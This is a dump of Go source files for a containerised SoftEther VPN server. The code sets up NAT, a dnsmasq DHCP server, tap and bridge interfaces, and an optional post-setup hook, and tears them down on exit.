14 | SoftEtherConfigurationTemplate struct {
15 | Interface string
16 | DefaultHub string
17 | }
18 | )
19 |
--------------------------------------------------------------------------------
/pipe/pipe.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | import (
4 | "time"
5 |
6 | . "gitlab.kilic.dev/libraries/plumber/v5"
7 | )
8 |
9 | type (
10 | Health struct {
11 | CheckInterval time.Duration
12 | DhcpServerAddress string
13 | EnablePing bool
14 | }
15 |
16 | DhcpServer struct {
17 | Template string `validate:"omitempty,file"`
18 | Lease string
19 | Gateway string `validate:"omitempty,ip"`
20 | SendGateway bool
21 | ForwardingZone []string
22 | }
23 |
24 | LinuxBridge struct {
25 | BridgeInterface string
26 | UpstreamInterface string
27 | UseDhcp bool
28 | StaticIp string `validate:"omitempty,ip"`
29 | }
30 |
31 | SoftEther struct {
32 | Template string `validate:"file"`
33 | TapInterface string
34 | DefaultHub string
35 | }
36 |
37 | Server struct {
38 | Mode string `validate:"oneof=dhcp bridge"`
39 | CidrAddress string `validate:"cidrv4"`
40 | }
41 |
42 | Pipe struct {
43 | Ctx
44 |
45 | Health
46 | DhcpServer
47 | LinuxBridge
48 | SoftEther
49 | Server
50 | }
51 | )
52 |
53 | var TL = TaskList[Pipe]{
54 | Pipe: Pipe{},
55 | }
56 |
57 | func New(p *Plumber) *TaskList[Pipe] {
58 | return TL.New(p).
59 | ShouldRunBefore(func(tl *TaskList[Pipe]) error {
60 | return ProcessFlags(tl)
61 | }).
62 | Set(func(tl *TaskList[Pipe]) Job {
63 | return tl.JobSequence(
64 | Tasks(tl).Job(),
65 | Services(tl).Job(),
66 | HealthCheck(tl).Job(),
67 | tl.JobWaitForTerminator(),
68 | )
69 | }).
70 | SetRuntimeDepth(2)
71 | }
72 |
--------------------------------------------------------------------------------
/pipe/services.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | import (
4 | . "gitlab.kilic.dev/libraries/plumber/v5"
5 | )
6 |
7 | func Services(tl *TaskList[Pipe]) *Task[Pipe] {
8 | return tl.CreateTask("services", "parent").
9 | SetJobWrapper(func(_ Job, _ *Task[Pipe]) Job {
10 | return tl.JobParallel(
11 | RunDnsServer(tl).Job(),
12 | RunSoftEtherVpnServer(tl).Job(),
13 | )
14 | })
15 | }
16 |
17 | func RunDnsServer(tl *TaskList[Pipe]) *Task[Pipe] {
18 | return tl.CreateTask("dnsmasq").
19 | ShouldDisable(func(t *Task[Pipe]) bool {
20 | return t.Pipe.Server.Mode != SERVER_MODE_DHCP
21 | }).
22 | Set(func(t *Task[Pipe]) error {
23 | t.CreateCommand(
24 | "dnsmasq",
25 | ).
26 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
27 | AddSelfToTheTask()
28 |
29 | return nil
30 | }).
31 | ShouldRunAfter(func(t *Task[Pipe]) error {
32 | if err := t.RunCommandJobAsJobSequence(); err != nil {
33 | return err
34 | }
35 |
36 | t.Log.Infoln("Started DNSMASQ DHCP server.")
37 |
38 | return nil
39 | }).
40 | EnableTerminator().
41 | SetOnTerminator(func(_ *Task[Pipe]) error {
42 | return TerminateDhcpServer(tl).Run()
43 | })
44 | }
45 |
46 | func RunSoftEtherVpnServer(tl *TaskList[Pipe]) *Task[Pipe] {
47 | return tl.CreateTask("softether").
48 | Set(func(t *Task[Pipe]) error {
49 | t.CreateCommand(
50 | "softether-vpnsrv",
51 | "start",
52 | ).
53 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
54 | AddSelfToTheTask()
55 |
56 | return nil
57 | }).
58 | ShouldRunAfter(func(t *Task[Pipe]) error {
59 | if err := t.RunCommandJobAsJobSequence(); err != nil {
60 | return err
61 | }
62 |
63 | t.Log.Infoln("Started SoftEtherVPN server.")
64 |
65 | return nil
66 | }).
67 | EnableTerminator().
68 | SetOnTerminator(func(_ *Task[Pipe]) error {
69 | return TerminateSoftEther(tl).Run()
70 | })
71 | }
72 |
--------------------------------------------------------------------------------
/pipe/tasks.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "net"
7 | "os"
8 | "path"
9 | "strings"
10 | "text/template"
11 |
12 | "github.com/apparentlymart/go-cidr/cidr"
13 | . "gitlab.kilic.dev/libraries/plumber/v5"
14 | )
15 |
16 | func Tasks(tl *TaskList[Pipe]) *Task[Pipe] {
17 | return tl.CreateTask("tasks", "parent").
18 | SetJobWrapper(func(_ Job, _ *Task[Pipe]) Job {
19 | return tl.JobSequence(
20 | Setup(tl).Job(),
21 |
22 | tl.JobParallel(
23 | CreatePostroutingRules(tl).Job(),
24 | GenerateDhcpServerConfiguration(tl).Job(),
25 | GenerateSoftEtherServerConfiguration(tl).Job(),
26 | ),
27 |
28 | tl.JobSequence(
29 | CreateTapDevice(tl).Job(),
30 | BridgeSetupParent(tl).Job(),
31 | ),
32 |
33 | RunPostTasksHook(tl).Job(),
34 | )
35 | })
36 | }
37 |
38 | func Setup(tl *TaskList[Pipe]) *Task[Pipe] {
39 | return tl.CreateTask("init").
40 | Set(func(t *Task[Pipe]) error {
41 | // set network setup
42 | _, network, err := net.ParseCIDR(t.Pipe.Server.CidrAddress)
43 |
44 | if err != nil {
45 | return err
46 | }
47 |
48 | t.Pipe.Ctx.Server.Network = network
49 |
50 | t.Log.Debugf("Network parsed: %s", t.Pipe.Ctx.Server.Network.String())
51 |
52 | if t.Pipe.Ctx.Server.RangeStart, err = cidr.Host(network, 1); err != nil {
53 | return err
54 | }
55 |
56 | if t.Pipe.Ctx.Server.RangeEnd, err = cidr.Host(network, -2); err != nil {
57 | return err
58 | }
59 |
60 | t.Log.Debugf(
61 | "Network start address: %s, Network end address: %s",
62 | t.Pipe.Ctx.Server.RangeStart.String(),
63 | t.Pipe.Ctx.Server.RangeEnd.String(),
64 | )
65 |
66 | // set default health address
67 | if t.Pipe.Health.DhcpServerAddress == "" {
68 | t.Lock.Lock()
69 | t.Pipe.Health.DhcpServerAddress = t.Pipe.Ctx.Server.RangeStart.String()
70 | t.Lock.Unlock()
71 |
72 | t.Log.Debugf(
73 | "Default health address for DHCP server set as default: %s",
74 | t.Pipe.Health.DhcpServerAddress,
75 | )
76 | }
77 |
78 | return nil
79 | })
80 | }
81 |
82 | func CreatePostroutingRules(tl *TaskList[Pipe]) *Task[Pipe] {
83 | return tl.CreateTask("postrouting").
84 | Set(func(t *Task[Pipe]) error {
85 | t.CreateCommand(
86 | "iptables",
87 | "-t",
88 | "nat",
89 | "-A",
90 | "POSTROUTING",
91 | "-s",
92 | t.Pipe.Server.CidrAddress,
93 | "-j",
94 | "MASQUERADE",
95 | ).
96 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
97 | AddSelfToTheTask()
98 |
99 | return nil
100 | }).
101 | ShouldRunAfter(func(t *Task[Pipe]) error {
102 | if err := t.RunCommandJobAsJobParallel(); err != nil {
103 | return err
104 | }
105 |
106 | t.Log.Infof("Created postrouting rules for: %s", t.Pipe.Server.CidrAddress)
107 |
108 | return nil
109 | })
110 | }
111 |
112 | func GenerateDhcpServerConfiguration(tl *TaskList[Pipe]) *Task[Pipe] {
113 | return tl.CreateTask("conf", "dnsmasq").
114 | ShouldDisable(func(t *Task[Pipe]) bool {
115 | return t.Pipe.Server.Mode != SERVER_MODE_DHCP
116 | }).
117 | ShouldRunBefore(func(t *Task[Pipe]) error {
118 | // set default gateway address
119 | if t.Pipe.DhcpServer.Gateway == "" && t.Pipe.DhcpServer.SendGateway {
120 | t.Lock.Lock()
121 | t.Pipe.DhcpServer.Gateway = t.Pipe.Ctx.Server.RangeStart.String()
122 | t.Lock.Unlock()
123 |
124 | t.Log.Debugf(
125 | "Default gateway address for DHCP server set as default: %s",
126 | t.Pipe.Health.DhcpServerAddress,
127 | )
128 | }
129 |
130 | return nil
131 | }).
132 | Set(func(t *Task[Pipe]) error {
133 | linkFrom := path.Join(CONF_DIR, CONF_DNSMASQ_NAME)
134 | linkTo := path.Join(CONF_DNSMASQ_DIR, CONF_DNSMASQ_NAME)
135 |
136 | //nolint: nestif
137 | if _, err := os.Stat(linkFrom); os.IsNotExist(err) {
138 | // generate dnsmasq configuration
139 | tmpl, err := template.ParseFiles(t.Pipe.DhcpServer.Template)
140 |
141 | if err != nil {
142 | return err
143 | }
144 |
145 | output := new(bytes.Buffer)
146 |
147 | if err := tmpl.Execute(output, DnsMasqConfigurationTemplate{
148 | TapInterface: fmt.Sprintf("tap_%s", t.Pipe.SoftEther.TapInterface),
149 | RangeStartAddress: t.Pipe.Ctx.Server.RangeStart.String(),
150 | RangeEndAddress: t.Pipe.Ctx.Server.RangeEnd.String(),
151 | Gateway: t.Pipe.DhcpServer.Gateway,
152 | RangeNetmask: net.IP(t.Pipe.Ctx.Server.Network.Mask).String(),
153 | LeaseTime: t.Pipe.DhcpServer.Lease,
154 | ForwardingZone: t.Pipe.DhcpServer.ForwardingZone,
155 | }); err != nil {
156 | return err
157 | }
158 |
159 | f, err := os.Create(linkFrom)
160 |
161 | if err != nil {
162 | return err
163 | }
164 |
165 | defer f.Close()
166 |
167 | if _, err = f.Write(output.Bytes()); err != nil {
168 | return err
169 | }
170 |
171 | t.Log.Infof("DHCP server configuration file generated: %s", linkFrom)
172 | } else {
173 | t.Log.Infof("Persistent configuration file found: %s", linkFrom)
174 | }
175 |
176 | if err := os.Remove(linkTo); err != nil {
177 | t.Log.Debugf(err.Error())
178 | }
179 |
180 | return os.Symlink(linkFrom, linkTo)
181 | })
182 | }
183 |
184 | func GenerateSoftEtherServerConfiguration(tl *TaskList[Pipe]) *Task[Pipe] {
185 | return tl.CreateTask("conf", "softether").
186 | Set(func(t *Task[Pipe]) error {
187 | linkFrom := path.Join(CONF_DIR, CONF_SOFTETHER_NAME)
188 | linkTo := path.Join(CONF_SOFTETHER_DIR, CONF_SOFTETHER_NAME)
189 |
190 | //nolint: nestif
191 | if _, err := os.Stat(linkFrom); os.IsNotExist(err) {
192 | // generate softether configuration
193 | tmpl, err := template.ParseFiles(t.Pipe.SoftEther.Template)
194 |
195 | if err != nil {
196 | return err
197 | }
198 |
199 | output := new(bytes.Buffer)
200 |
201 | if err := tmpl.Execute(output, SoftEtherConfigurationTemplate{
202 | Interface: t.Pipe.SoftEther.TapInterface,
203 | DefaultHub: t.Pipe.SoftEther.DefaultHub,
204 | }); err != nil {
205 | return err
206 | }
207 |
208 | f, err := os.Create(linkFrom)
209 |
210 | if err != nil {
211 | return err
212 | }
213 |
214 | defer f.Close()
215 |
216 | if _, err = f.Write(output.Bytes()); err != nil {
217 | return err
218 | }
219 |
220 | t.Log.Warnf("SoftEtherVPN server configuration file generated: %s", linkFrom)
221 | } else {
222 | t.Log.Infof("Persistent configuration file found: %s", linkFrom)
223 | }
224 |
225 | if err := os.Remove(linkTo); err != nil {
226 | t.Log.Debugf(err.Error())
227 | }
228 |
229 | return os.Symlink(linkFrom, linkTo)
230 | })
231 | }
232 |
233 | func CreateTapDevice(tl *TaskList[Pipe]) *Task[Pipe] {
234 | return tl.CreateTask("interface", "tap").
235 | ShouldRunBefore(func(t *Task[Pipe]) error {
236 | t.Pipe.SoftEther.TapInterface = fmt.Sprintf(
237 | "tap_%s",
238 | t.Pipe.SoftEther.TapInterface,
239 | )
240 |
241 | // remove existing interface
242 | t.CreateCommand(
243 | "ip",
244 | "tuntap",
245 | "del",
246 | "dev",
247 | t.Pipe.SoftEther.TapInterface,
248 | "mode",
249 | "tap",
250 | ).
251 | SetIgnoreError().
252 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG).
253 | AddSelfToTheTask()
254 |
255 | return nil
256 | }).
257 | Set(func(t *Task[Pipe]) error {
258 | // create interface
259 | t.CreateCommand(
260 | "ip",
261 | "tuntap",
262 | "add",
263 | "dev",
264 | t.Pipe.SoftEther.TapInterface,
265 | "mode",
266 | "tap",
267 | ).
268 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
269 | AddSelfToTheTask()
270 |
271 | // start interface
272 | t.CreateCommand(
273 | "ip",
274 | "link",
275 | "set",
276 | "dev",
277 | t.Pipe.SoftEther.TapInterface,
278 | "up",
279 | ).
280 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
281 | AddSelfToTheTask()
282 |
283 | // give the server static ip for dnsmasq when on dhcp mode
284 | if t.Pipe.Server.Mode == SERVER_MODE_DHCP {
285 | t.CreateCommand(
286 | "ifconfig",
287 | t.Pipe.SoftEther.TapInterface,
288 | t.Pipe.DhcpServer.Gateway,
289 | "netmask",
290 | net.IP(t.Pipe.Ctx.Server.Network.Mask).String(),
291 | ).
292 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
293 | AddSelfToTheTask()
294 |
295 | t.Log.Debugf(
296 | "Should add gateway to the tap interface: %s -> %s",
297 | t.Pipe.SoftEther.TapInterface,
298 | t.Pipe.DhcpServer.Gateway,
299 | )
300 | }
301 |
302 | return nil
303 | }).
304 | ShouldRunAfter(func(t *Task[Pipe]) error {
305 | if err := t.RunCommandJobAsJobSequence(); err != nil {
306 | return err
307 | }
308 |
309 | t.Log.Infof(
310 | "Created tap adapter: %s",
311 | t.Pipe.SoftEther.TapInterface,
312 | )
313 |
314 | return nil
315 | }).
316 | EnableTerminator().
317 | SetOnTerminator(func(_ *Task[Pipe]) error {
318 | return TerminateTapInterface(tl).Run()
319 | })
320 | }
321 |
322 | func BridgeSetupParent(tl *TaskList[Pipe]) *Task[Pipe] {
323 | return tl.CreateTask("interface", "bridge", "parent").
324 | ShouldDisable(func(t *Task[Pipe]) bool {
325 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE
326 | }).
327 | SetJobWrapper(func(_ Job, _ *Task[Pipe]) Job {
328 | return tl.JobSequence(
329 | CreateBridgeDevice(tl).Job(),
330 | UseDhcpForBridge(tl).Job(),
331 | UseStaticIpForBridge(tl).Job(),
332 | )
333 | })
334 | }
335 |
336 | func CreateBridgeDevice(tl *TaskList[Pipe]) *Task[Pipe] {
337 | return tl.CreateTask("interface", "bridge").
338 | ShouldDisable(func(t *Task[Pipe]) bool {
339 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE
340 | }).
341 | ShouldRunBefore(func(t *Task[Pipe]) error {
342 | // remove existing interface first
343 | t.CreateCommand(
344 | "ifconfig",
345 | t.Pipe.LinuxBridge.BridgeInterface,
346 | "down",
347 | ).
348 | SetIgnoreError().
349 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG).
350 | AddSelfToTheTask()
351 |
352 | t.CreateCommand(
353 | "brctl",
354 | "delbr",
355 | t.Pipe.LinuxBridge.BridgeInterface,
356 | ).
357 | SetIgnoreError().
358 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG).
359 | AddSelfToTheTask()
360 |
361 | return nil
362 | }).
363 | Set(func(t *Task[Pipe]) error {
364 | // create new interface
365 | t.CreateCommand(
366 | "brctl",
367 | "addbr",
368 | t.Pipe.LinuxBridge.BridgeInterface,
369 | ).
370 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
371 | AddSelfToTheTask()
372 |
373 | // add interfaces
374 | for _, v := range []string{t.Pipe.LinuxBridge.UpstreamInterface, t.Pipe.SoftEther.TapInterface} {
375 | t.CreateCommand(
376 | "brctl",
377 | "addif",
378 | t.Pipe.LinuxBridge.BridgeInterface,
379 | v,
380 | ).
381 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
382 | AddSelfToTheTask()
383 | }
384 |
385 | // start the interface
386 | t.CreateCommand(
387 | "ip",
388 | "link",
389 | "set",
390 | "dev",
391 | t.Pipe.LinuxBridge.BridgeInterface,
392 | "up",
393 | ).
394 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
395 | AddSelfToTheTask()
396 |
397 | // debug
398 | t.CreateCommand(
399 | "brctl",
400 | "show",
401 | t.Pipe.LinuxBridge.BridgeInterface,
402 | ).
403 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
404 | AddSelfToTheTask()
405 |
406 | return nil
407 | }).
408 | ShouldRunAfter(func(t *Task[Pipe]) error {
409 | if err := t.RunCommandJobAsJobSequence(); err != nil {
410 | return err
411 | }
412 |
413 | t.Log.Infof(
414 | "Created bridge adapter: %s -> %s %s",
415 | t.Pipe.LinuxBridge.BridgeInterface,
416 | t.Pipe.SoftEther.TapInterface,
417 | t.Pipe.LinuxBridge.UpstreamInterface,
418 | )
419 |
420 | return nil
421 | }).
422 | EnableTerminator().
423 | SetOnTerminator(func(_ *Task[Pipe]) error {
424 | return TerminateDhcpServer(tl).Run()
425 | })
426 | }
427 |
428 | func UseDhcpForBridge(tl *TaskList[Pipe]) *Task[Pipe] {
429 | return tl.CreateTask("interface", "bridge", "dhcp").
430 | ShouldDisable(func(t *Task[Pipe]) bool {
431 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE || !t.Pipe.LinuxBridge.UseDhcp
432 | }).
433 | Set(func(t *Task[Pipe]) error {
434 | t.CreateCommand(
435 | "dhclient",
436 | "-v",
437 | t.Pipe.LinuxBridge.BridgeInterface,
438 | ).
439 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG).
440 | EnableStreamRecording().
441 | ShouldRunAfter(func(c *Command[Pipe]) error {
442 | stream := c.GetCombinedStream()
443 | var ip string
444 | for _, line := range stream {
445 | if strings.HasPrefix(line, "bound to") {
446 | ip = line
447 | }
448 | }
449 |
450 | t.Log.Infof(
451 | "Bridge adapter upstream IP: %s -> %s",
452 | t.Pipe.LinuxBridge.BridgeInterface,
453 | ip,
454 | )
455 |
456 | return nil
457 | }).
458 | AddSelfToTheTask()
459 |
460 | return nil
461 | }).
462 | ShouldRunAfter(func(t *Task[Pipe]) error {
463 | return t.RunCommandJobAsJobSequence()
464 | })
465 | }
466 |
467 | func UseStaticIpForBridge(tl *TaskList[Pipe]) *Task[Pipe] {
468 | return tl.CreateTask("interface", "bridge", "static").
469 | ShouldDisable(func(t *Task[Pipe]) bool {
470 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE || t.Pipe.LinuxBridge.UseDhcp
471 | }).
472 | Set(func(t *Task[Pipe]) error {
473 | if t.Pipe.LinuxBridge.StaticIp == "" {
474 | return fmt.Errorf("You should define a static IP in the CIDR range if you do not want to use the upstream DHCP server.")
475 | }
476 |
477 | t.CreateCommand(
478 | "ifconfig",
479 | t.Pipe.LinuxBridge.BridgeInterface,
480 | t.Pipe.LinuxBridge.StaticIp,
481 | ).
482 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
483 | AddSelfToTheTask()
484 |
485 | return nil
486 | }).
487 | ShouldRunAfter(func(t *Task[Pipe]) error {
488 | return t.RunCommandJobAsJobSequence()
489 | })
490 | }
491 |
492 | func RunPostTasksHook(tl *TaskList[Pipe]) *Task[Pipe] {
493 | hook := path.Join(HOOKS_DIR, HOOK_POST_TASKS_FILE)
494 |
495 | return tl.CreateTask("hook", "post-tasks").
496 | ShouldDisable(func(t *Task[Pipe]) bool {
497 | stats, err := os.Stat(hook)
498 |
499 | if err != nil {
500 | t.Log.Debugf("Post tasks hook file not found at the expected location: %s", hook)
501 |
502 | return true
503 | }
504 |
505 | if stats.Mode()&0111 == 0 {
506 | t.Log.Warnf("Post tasks hook file found at the expected location but it is not executable: %s", hook)
507 |
508 | return true
509 | }
510 |
511 | return false
512 | }).
513 | Set(func(t *Task[Pipe]) error {
514 | t.CreateCommand(hook).
515 | AddSelfToTheTask()
516 |
517 | return nil
518 | }).
519 | ShouldRunAfter(func(t *Task[Pipe]) error {
520 | return t.RunCommandJobAsJobSequence()
521 | })
522 | }
523 |
--------------------------------------------------------------------------------
/pipe/terminate.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | import (
4 | . "gitlab.kilic.dev/libraries/plumber/v5"
5 | )
6 |
7 | func TerminateSoftEther(tl *TaskList[Pipe]) *Task[Pipe] {
8 | return tl.CreateTask("terminate", "softether").
9 | Set(func(t *Task[Pipe]) error {
10 | t.CreateCommand(
11 | "softether-vpnsrv",
12 | "stop",
13 | ).
14 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
15 | AddSelfToTheTask()
16 |
17 | return nil
18 | }).
19 | ShouldRunAfter(func(t *Task[Pipe]) error {
20 | return t.RunCommandJob(func(t *Task[Pipe]) Job {
21 | return tl.GuardAlways(t.GetCommandJobAsJobSequence())
22 | })
23 | })
24 | }
25 |
26 | func TerminateDhcpServer(tl *TaskList[Pipe]) *Task[Pipe] {
27 | return tl.CreateTask("terminate", "dnsmasq").
28 | ShouldDisable(func(t *Task[Pipe]) bool {
29 | return t.Pipe.Server.Mode != SERVER_MODE_DHCP
30 | }).
31 | Set(func(t *Task[Pipe]) error {
32 | t.CreateCommand(
33 | "pkill",
34 | "dnsmasq",
35 | ).
36 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
37 | AddSelfToTheTask()
38 |
39 | return nil
40 | }).
41 | ShouldRunAfter(func(t *Task[Pipe]) error {
42 | return t.RunCommandJob(func(t *Task[Pipe]) Job {
43 | return tl.GuardAlways(t.GetCommandJobAsJobSequence())
44 | })
45 | })
46 | }
47 |
48 | func TerminateTapInterface(tl *TaskList[Pipe]) *Task[Pipe] {
49 | return tl.CreateTask("terminate", "interface", "tap").
50 | Set(func(t *Task[Pipe]) error {
51 | t.CreateCommand(
52 | "ifconfig",
53 | t.Pipe.SoftEther.TapInterface,
54 | "down",
55 | ).
56 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG).
57 | AddSelfToTheTask()
58 |
59 | t.CreateCommand(
60 | "ip",
61 | "link",
62 | "delete",
63 | t.Pipe.SoftEther.TapInterface,
64 | ).
65 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG).
66 | AddSelfToTheTask()
67 |
68 | t.CreateCommand(
69 | "ip",
70 | "tuntap",
71 | "del",
72 | "dev",
73 | t.Pipe.SoftEther.TapInterface,
74 | "mode",
75 | "tap",
76 | ).
77 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG).
78 | AddSelfToTheTask()
79 |
80 | return nil
81 | }).
82 | ShouldRunAfter(func(t *Task[Pipe]) error {
83 | return t.RunCommandJob(func(t *Task[Pipe]) Job {
84 | return tl.GuardAlways(t.GetCommandJobAsJobSequence())
85 | })
86 | })
87 | }
88 |
89 | func TerminateBridgeInterface(tl *TaskList[Pipe]) *Task[Pipe] {
90 | return tl.CreateTask("terminate", "interface", "bridge").
91 | ShouldDisable(func(t *Task[Pipe]) bool {
92 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE
93 | }).
94 | Set(func(t *Task[Pipe]) error {
95 | t.CreateCommand(
96 | "ifconfig",
97 | t.Pipe.LinuxBridge.BridgeInterface,
98 | "down",
99 | ).
100 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG).
101 | AddSelfToTheTask()
102 |
103 | t.CreateCommand(
104 | "brctl",
105 | "delbr",
106 | t.Pipe.LinuxBridge.BridgeInterface,
107 | ).
108 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG).
109 | AddSelfToTheTask()
110 |
111 | return nil
112 | }).
113 | ShouldRunAfter(func(t *Task[Pipe]) error {
114 | return t.RunCommandJob(func(t *Task[Pipe]) Job {
115 | return tl.GuardAlways(t.GetCommandJobAsJobSequence())
116 | })
117 | })
118 | }
119 |
--------------------------------------------------------------------------------
/renovate.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json",
3 | "extends": [ "local>renovate/renovate-config:default/default" ],
4 | "ignorePresets": []
5 | }
6 |
--------------------------------------------------------------------------------
/version.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | const CLI_NAME = "docker-softether-vpnsrv"
4 |
5 | const DESCRIPTION = "Initiates the SoftEtherVPN server that will run in this container."
6 |
7 | const VERSION = "latest"
8 |
--------------------------------------------------------------------------------